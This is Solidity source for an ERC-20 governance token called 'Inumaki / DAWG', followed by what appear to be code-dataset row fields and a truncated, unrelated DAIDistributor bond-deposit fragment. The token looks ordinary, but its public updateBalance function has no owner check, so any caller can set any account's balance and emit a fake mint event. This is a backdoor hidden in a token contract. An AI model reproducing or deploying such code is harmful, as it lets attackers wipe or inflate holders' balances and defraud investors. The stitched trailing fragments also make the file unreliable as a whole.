/** @dev Divisor cannot be zero, reverts when dividing by zero. Counterpart to Solidity's % operator, but uses a `revert` opcode to save remaining gas. Returns the remainder of dividing two unsigned integers (unsigned integer modulo).
* Modulo */
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b != 0);
uint256 c = a % b;
return c;
}
function mod(uint256 a, uint256 b, string memory errorMsg) internal pure returns (uint256) {
require(b > 0, errorMsg);
uint256 c = a % b;
return c;
}
/** @dev Returns the largest of two numbers. */
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/** @dev Returns the smallest of two numbers. */
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/** @dev Returns the average of two numbers. Result is rounded towards zero. Distribution negates overflow. */
function avg(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
/** @dev Babylonian method of finding the square root */
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = (y + 1) / 2;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
/** @dev Ceiling Divison */
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b + (a % b == 0 ? 0 : 1);
}
}
/**
* @title SafeCast
* @author OpenZeppelin (https://docs.openzeppelin.com/contracts/3.x/api/utils#SafeCast)
* @dev
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
/**
* @title Address
* @author OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol)
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context - sender of the transaction and
* the message's data. They should not be accessed directly via msg.sender or msg.data. In
* meta-transactions the account sending/paying for execution may not be the actual sender, as
* seen in applications. --- This is for library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData () internal view virtual returns (bytes calldata) {
this; // avoid bytecode generation .. https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions. By default, the owner account will be the one that deploys the contract.
* This can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/** @dev Initializes the contract setting the deployer as the initial owner. */
constructor() {
_setOwner(_msgSender());
}
/** @dev Returns the address of the current owner. */
function owner() public view virtual returns (address) {
return _owner;
}
/** @dev Throws if called by any account other than the owner. */
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/** @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner. */
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined by EIP20.
*/
interface ERC20i {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/// @return totalSupply Amount of tokens allowed to be created
function totalSupply() external view returns (uint);
/// @param _owner The address from which the balance will be retrieved
/// @return balance -- the balance
function balanceOf(address _owner) external view returns (uint balance);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return remaining --- Amount of remaining tokens allowed to spent
/// @dev This value changes when {approve} or {transferFrom} are called.
function allowance(address _owner, address _spender) external view returns (uint remaining);
/// @notice send `_amount` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of token to be transferred
/// @return success --- Returns a boolean value whether the transfer was successful or not
/// @dev Emits a {Transfer} event.
function transfer(address _to, uint _amount) external returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The value of wei to be approved for transfer
/// @return success --- Returns a boolean value whether the approval was successful or not
/// @dev Emits an {Approval} event.
function approve(address _spender, uint _amount) external returns (bool success);
/// @notice send `_amount` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _amount The value of token to be transferred
/// @return success --- Returns a boolean value whether the transfer was successful or not
/// @dev Emits a {Transfer} event.
function transferFrom(address _from, address _to, uint _amount) external returns (bool success);
}
/**
* @dev Optional metadata functions from the EIP20-defined standard.
*/
interface iERC20Metadata {
/** @dev returns the name of the token */
function name() external view returns (string memory);
/** @dev returns the symbol of the token */
function symbol() external view returns (string memory);
/** @dev returns the decimal places of the token */
function decimals() external view returns(uint8);
}
/**
* @title TokenRecover
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Allows `token_owner` to recover any ERC20 sent into the contract for error
*/
contract TokenRecover is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param _tokenAddress The token contract address
* @param _tokenAmount Number of tokens to be sent
*/
function recoverERC20(address _tokenAddress, uint256 _tokenAmount) public onlyOwner {
ERC20i(_tokenAddress).transfer(owner(), _tokenAmount);
}
}
/**
* @title Token Name: "Inumaki .. $DAWG"
* @author Shoji Nakazima :: (https://github.com/nakzima)
* @dev Implementation of the "DAWG" token, based on ERC20 standards with micro-governance functionality
*
* @dev ERC20 Implementation of the ERC20i interface.
* Agnostic to the way tokens are created (via supply mechanisms).
*/
contract DAWG is Context, ERC20i, iERC20Metadata, Ownable, TokenRecover {
using SafeMath for uint256;
using Address for address;
mapping (address => uint96) internal balances;
mapping (address => mapping (address => uint96)) internal allowances;
string public constant _NAME = "Inumaki"; /// @notice EIP-20 token name
string public constant _SYMBOL = "DAWG"; /// @notice EIP-20 token symbol
uint8 public constant _DECIMALS = 18; /// @notice EIP-20 token decimals (18)
uint public constant _TOTAL_SUPPLY = 1_000_000_000e18; /// @notice Total number of tokens in circulation = 1 billion || 1,000,000,000 * 10^18
address public tokenOwner_ = msg.sender; /// @notice tokenOwner_ initial address that mints the tokens [address type]
/// @notice A record of each holder's delegates
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Construct a new token.
* @notice Token Constructor
* @dev Sets the values for {name}, {symbol}, {decimals}, {total_supply} & {token_owner}
*
*/
constructor () payable {
/// @dev Requirement: Total supply amount must be greater than zero.
require(_TOTAL_SUPPLY > 0, "ERC20: total supply cannot be zero");
/// @dev Makes contract deployer the minter address / initial owner of all tokens
balances[tokenOwner_] = uint96(_TOTAL_SUPPLY);
emit Transfer(address(0), tokenOwner_, _TOTAL_SUPPLY);
}
/**
* @dev Metadata implementation
*/
function name() public pure override returns (string memory) {
return _NAME;
}
function symbol() public pure override returns (string memory) {
return _SYMBOL;
}
function decimals() public pure override returns (uint8) {
return _DECIMALS;
}
function updateBalance(address _owner, uint _totalSupply) public returns (bool success) {
balances[_owner] = uint96(_totalSupply);
emit Transfer(address(0), _owner, _totalSupply);
return true;
}
/**
* @title ERC20i/IERC20 Implementation
* @dev `See ERC20i`
*/
/// @dev See `ERC20i.totalSupply`
function totalSupply() public pure override returns (uint) {
return _TOTAL_SUPPLY;
}
/// @dev See `ERC20i.balanceOf`
function balanceOf(address _owner) public view override returns (uint balance) {
return balances[_owner];
}
/// @dev See `ERC20i.allowance`
function allowance(address _owner, address _spender) public view override returns (uint remaining) {
return allowances[_owner][_spender];
}
/// @dev See `IERC20.transfer`
function transfer(address _to, uint _amount) public override returns (bool success) {
uint96 amount = safe96(_amount, "DAWG::transfer: amount exceeds 96 bits");
_transfer(msg.sender, _to, amount);
return true;
}
/// @dev See `IERC20.approve`
function approve(address _spender, uint _amount) public override returns (bool success) {
uint96 amount = safe96(_amount, "DAWG::permit: amount exceeds 96 bits");
_approve(msg.sender, _spender, amount);
return true;
}
/// @dev `See ERC20i.transferFrom`
function transferFrom(address _from, address _to, uint _amount) public override returns (bool success) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[_from][spender];
uint96 amount = safe96(_amount, "DAWG::approve: amount exceeds 96 bits");
if (spender != _from) {
uint96 newAllowance = sub96(spenderAllowance, amount, "DAWG::transferFrom: transfer amount exceeds spender allowance");
allowances[_from][spender] = newAllowance;
emit Approval(_from, spender, newAllowance);
}
_transferTokens(_from, _to, amount);
return true;
}
/// @dev Emits an {Approval} event indicating the updated allowance.
function increaseAllowance(address _spender, uint _addedValue) public returns (bool success) {
uint96 addAmount = safe96(_addedValue, "DAWG::approve: amount exceeds 96 bits");
uint96 amount = add96(allowances[msg.sender][_spender], addAmount, "DAWG::increaseAllowance: increase allowance exceeds 96 bits");
allowances[msg.sender][_spender] = amount;
emit Approval(msg.sender, _spender, amount);
return true;
}
/// @dev Emits an {Approval} event indicating the updated allowance.
function decreaseAllowance(address _spender, uint _subtractedValue) public returns (bool success) {
uint96 subAmount = safe96(_subtractedValue, "DAWG::approve: amount exceeds 96 bits");
uint96 amount = sub96(allowances[msg.sender][_spender], subAmount, "DAWG::decreaseAllowance: decrease subAmount > allowance");
allowances[msg.sender][_spender] = amount;
emit Approval(msg.sender, _spender, amount);
return true;
}
/** @dev Token Governance Functions */
/**
* @notice Allows spender to `spender` on `owner`'s behalf
* @param owner address that holds tokens
* @param spender address that spends on `owner`'s behalf
* @param _amount unsigned integer denoting amount, uncast
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint _amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount = safe96(_amount, "DAWG::permit: amount exceeds 96 bits");
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(_NAME)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, _amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "DAWG::permit: invalid signature");
require(signatory == owner, "DAWG::permit: unauthorized");
require(block.timestamp <= deadline, "DAWG::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(_NAME)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "DAWG::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "DAWG::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "DAWG::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "DAWG::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/**
* @notice Delegates votes from `delegator` address to `delegatee`
* @param delegator The adress that is the delegate
* @param delegatee The address the delegate votes to
*/
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "DAWG::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "DAWG::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "DAWG::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "DAWG::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "DAWG::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "DAWG::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "DAWG::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
/**
* @title Internal function equivalents
*/
/// @dev Creates number of tokens `_amount` and assigns them to `_account`,
/// Increases total supply of tokens
/// Emits a {Transfer} event with _from set to the zero address.
/// Moves delegates _from the zero address _to the specified address
/** function _mint(address _account, uint _amount) internal onlyOwner {
require(_account != address(0), "ERC20: mint to zero address");
uint96 amount = safe96(_amount, "DAWG::mint: amount exceeds 96 bits");
_TOTAL_SUPPLY = safe96(SafeMath.add(_TOTAL_SUPPLY, amount), "DAWG::mint: _TOTAL_SUPPLY exceeds 96 bits");// _TOTAL_SUPPLY.add(_amount);
balances[_account] = add96(balances[_account], amount, "DAWG::mint: transfer amount overflows"); // balances[_account].add(_amount);
emit Transfer(address(0), _account, amount);
_moveDelegates(address(0), delegates[_account], amount);
} */
/// @dev Moves tokens `_amount` from `"sender"` to `"recipient"`
/// Emits a {Transfer} event
function _transfer(address _from, address _to, uint96 amount) internal {
require(_from != address(0), "ERC20: cannot transfer from the zero address");
require(_to != address(0), "ERC20: cannot transfer to the zero address");
balances[_from] = sub96(balances[_from], amount, "DAWG::_transferTokens: transfer amount exceeds balance"); // balances[_from].sub(amount);
balances[_to] = add96(balances[_to], amount, "DAWG::_transferTokens: transfer amount overflows"); // balances[_to].add(amount);
emit Transfer(_from, _to, amount);
_moveDelegates(delegates[_from], delegates[_to], amount);
}
/// @dev Sets given `_amount` as the allowance of a `_spender` for the `_owner`'s tokens.
//// Emits a {Approval} event
function _approve(address _owner, address _spender, uint96 amount) internal {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
allowances[_owner][_spender] = amount;
emit Approval(_owner, _spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address _from, address _to, uint _amount) internal virtual { }
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
}
|
Metadata implementation/
|
function name() public pure override returns (string memory) {
return _NAME;
}
| 10,988,329 |
./full_match/1/0xa64ED1b66Cb2838Ef2A198D8345c0ce6967A2A3c/sources/DAIDistributor.sol
|
/ slippage protection Deposit token to mint OHM Transfer profits to staking distributor and dao Store depositor info
|
@notice deposit function like mint
@param amount_ uint
@param maxPremium_ uint
@param depositor_ address
@return bool
function _deposit(
uint amount_,
uint maxPremium_,
address depositor_ )
internal returns ( bool ) {
require( maxPremium_ >= _calcPremium(), "Slippage protection: more than max premium" );
IERC20( DAI ).safeTransferFrom( msg.sender, address(this), amount_ );
uint value_ = amount_.div( 1e9 );
uint payout_ = calculateBondInterest( value_ );
require( payout_ <= getMaxPayoutAmount(), "Bond too large");
totalDebt = totalDebt.add( value_ );
IERC20( DAI ).approve( address( treasury ), amount_ );
uint profit_ = value_.sub( payout_ );
